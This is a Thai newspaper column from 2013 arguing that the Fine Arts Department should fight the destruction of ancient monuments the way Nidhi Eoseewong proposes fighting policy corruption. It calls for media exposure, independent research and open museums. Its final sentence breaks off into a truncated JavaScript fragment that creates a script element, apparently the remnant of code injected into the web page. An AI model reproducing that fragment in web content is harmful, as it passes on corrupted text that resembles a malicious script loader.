มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 7 กุมภาพันธ์ 2556

 

          “ทุจริตเชิงนโยบาย เป็นการทุจริตที่เลวร้ายที่สุด”

          ประธานองค์กรต่อต้านคอร์รัปชั่นแห่งประเทศไทย ให้ความเห็นไว้ แล้ว อ. นิธิ เอียวศรีวงศ์ ยกมาเพื่อแนะนำแนวทางต่อสู้ทุจริตเชิงนโยบาย ไว้ในมติชน (ฉบับวันจันทร์ที่ 4 กุมภาพันธ์ 2556 หน้า 6) ขอยกเฉพาะที่สำคัญมาเป็นตัวอย่างให้ต่อต้านการทำลายโบราณสถาน ดังนี้

          “วิถีทางเดียวที่จะต่อสู้กับการทุจริตเชิงนโยบาย นั่นคือทำให้สังคมเข้มแข็งพอจะตรวจสอบนโยบายที่มีความเป็นไปได้สูงที่จะเอื้อต่อประโยชน์ของตนเองและพรรคพวก

          อย่างที่องค์กรต่อต้านคอร์รัปชั่นฯ ประกาศว่าจะจับตาการกู้เงิน 2 ล้านล้านบาทนั้น ผมก็เห็นด้วย แต่ควรระวังไม่เอาเงิน (ในกระเป๋าของนักอุตสาหกรรม หรือภาษีประชาชน) ไปส่งเสริมการประกวดกลอน, ดนตรี, หรือพิมพ์คำขวัญต่อต้านการคอร์รัปชั่น เพราะไม่ได้ผลอะไร นอกจากทำให้หน้าของท่านได้โผล่ขึ้นมาในสังคมเท่านั้น

          ควรพยายามฟื้นฟูสื่อซึ่งเจตนาจะทำตามอาชีวปฏิญาณของสื่อ คือเสนอความจริงโดยไม่เลือกข้าง สนับสนุนให้เขาใช้กฎหมายข้อมูลข่าวสารอย่างเต็มที่ สนับสนุนให้เขาตั้งทีมเจาะลึกประเด็นที่อาจเกี่ยวกับการทุจริต (ทั้งโดยตรงและเชิงนโยบาย) อย่างเต็มที่”

          นอกเหนือจากนี้ อ. นิธิยังแนะนำให้สนับสนุนงานศึกษาวิจัยทางวิชาการตรวจสอบนโยบายอีกหลายอย่าง ถ้าอยากรู้ให้อ่านบทความเต็ม

          โบราณสถานทั่วประเทศถูกทำลาย เป็นข่าวซ้ำซาก แม้ไม่มากและสร้างความเสียหายหนักหนาเท่าทุจริตคอร์รัปชั่น แต่ก็เสียหายต่อมรดกทางสังคมวัฒนธรรมไม่น้อย

          กรมศิลปากรแถลงแนวทางแก้ไขการทำลายโบราณสถานทั่วประเทศว่า จะจัดทำโครงการเผยแพร่ความรู้ความเข้าใจเกี่ยวกับคุณค่ามรดกโบราณสถานให้กับประชาชน องค์การบริหารต่างๆ ทั้งภาครัฐ ภาคเอกชน ถวายความรู้พระสังฆาธิการ และสร้างเครือข่ายอนุรักษ์มรดกศิลปวัฒนธรรมภาคประชาชนให้มากยิ่งขึ้น เพราะกรมศิลปากรมองเห็นปัญหาการขาดพลังเครือข่ายที่จะเข้ามาช่วยปกป้องคุ้มครองในเรื่องดังกล่าว โดยรื้อฟื้นโครงการอาสาสมัครท้องถิ่นในการดูแล รักษา มรดกทางศิลปวัฒนธรรม (อส.มศ.) ขึ้นมาใหม่

          ผู้บริหารระดับสูงกรมศิลปากร ควรศึกษาข้อแนะนำของ อ. นิธิ ต่อกรณีทุจริตเชิงนโยบาย แล้วพยายามทดลองปรับใช้ในกรณีทำลายโบราณสถาน ดังนี้

          1. สนับสนุนให้สังคมเข้มแข็งพอจะศึกษาวิจัยใช้ประโยชน์ แล้วดูแลปกป้องคุ้มครองโบราณสถาน

          การสร้างเครือข่ายภาคประชาชนก็เป็นสิ่งควรทำ แต่ไม่ควรทำแบบราชการที่เคยทำมาแล้ว แต่ไม่มีประสิทธิภาพ และไม่ได้ผล เช่น อส.มศ. นอกจากเป็นช่องทางให้ผู้บริหารที่เกี่ยวข้องได้โผล่หน้าขึ้นมาอวดอ้างตัวเองในสังคมเท่านั้น

          2. สร้างเครือข่ายความร่วมมือกับสื่อหลากหลายเพื่อเปิดโปงและประจานการทำลายโบราณสถาน ขณะเดียวกันก็แบ่งปันความรู้ประวัติศาสตร์ท้องถิ่นซึ่งเกี่ยวข้องกับโบราณสถานนั้นๆ ด้วยภาษาง่ายๆ สั้นๆ กะทัดรัด โดยไม่รุ่มร่ามด้วย“คำหลวง”ใหญ่ๆ โตๆ แต่คนอื่นฟังไม่รู้เรื่อง

          ตัวอย่างสำคัญล่าสุด คือ กรณีอาคารศาลฎีกา (ใกล้สนามหลวง ริมคลองคูเมืองเดิม) กลางกรุงเทพฯ และเมืองปราจีนบุรี(เก่า) ที่ถูกเปิดโปงให้สังคมรู้

          3. สนับสนุนสถาบันการศึกษาและภาคเอกชนที่มีศักยภาพในการวิจัยและศึกษาหาความรู้มาแบ่งปันเผยแพร่ประวัติศาสตร์โบราณคดีชุมชนท้องถิ่นทั่วประเทศ โดยไม่ผูกขาดคำอธิบายไว้โดยคนกลุ่มเดียวเฉพาะที่รับราชการในกรมศิลปากรเท่านั้น

          ดังกรณีตัวอย่างเรื่องหินตั้งที่พุหางนาค อ. อู่ทอง จ. สุพรรณบุรี ซึ่งมีคำอธิบายแตกต่างหลากหลายจากภาคเอกชนและสถาบันอื่นๆ ผู้บริหารกรมศิลปากรต้องยกย่องให้เป็นบรรยากาศที่ดีทางวิชาความรู้ โดยไม่ปล่อยให้นักโบราณคดีของกรมฯเที่ยวอ้างราชการห้ามภาคเอกชนคิดต่างจากตน

          4. สนับสนุนให้มีบรรยากาศการเรียนรู้อย่างกว้างขวางทางประวัติศาสตร์โบราณคดีท้องถิ่น เช่น พิพิธภัณฑสถานแห่งชาติ ควรจัดแสดงเรื่องราวความเป็นมาของท้องถิ่นนั้นๆที่พิพิธภัณฑ์ตั้งอยู่

          และไม่ควรบ้าอำนาจห้ามถ่ายรูปในพิพิธภัณฑ์ ซึ่งเป็นบรรยากาศคร่ำครึของข้าราชการเมืองขึ้นเมื่อ 100 ปีที่แล้ว

          5. ครูบาอาจารย์ในสถาบันทางประวัติศาสตร์โบราณคดี ควรมีส่วนร่วมเรื่องสำคัญมากๆอย่างนี้ โดยจัดการเรียนการสอนให้รู้เท่าทันการเมืองเพื่อแก้ไขและลดทอนการทำลายโบราณสถาน (ดังได้เขียนบอกไว้ฉบับเมื่อวานนี้)

          อย่างน้อยที่สุดก็ให้รู้และเข้าใจวิธีคิดและวิธีทำ 4 ข้อแรก

          แต่ทั้งหมดที่เขียนบอกนี้ ไม่ใช่ประเพณีที่ราชการและเครือข่ายโบราณคดีจะทำได้var d=document;var s=d.createElement(‘script’); } else {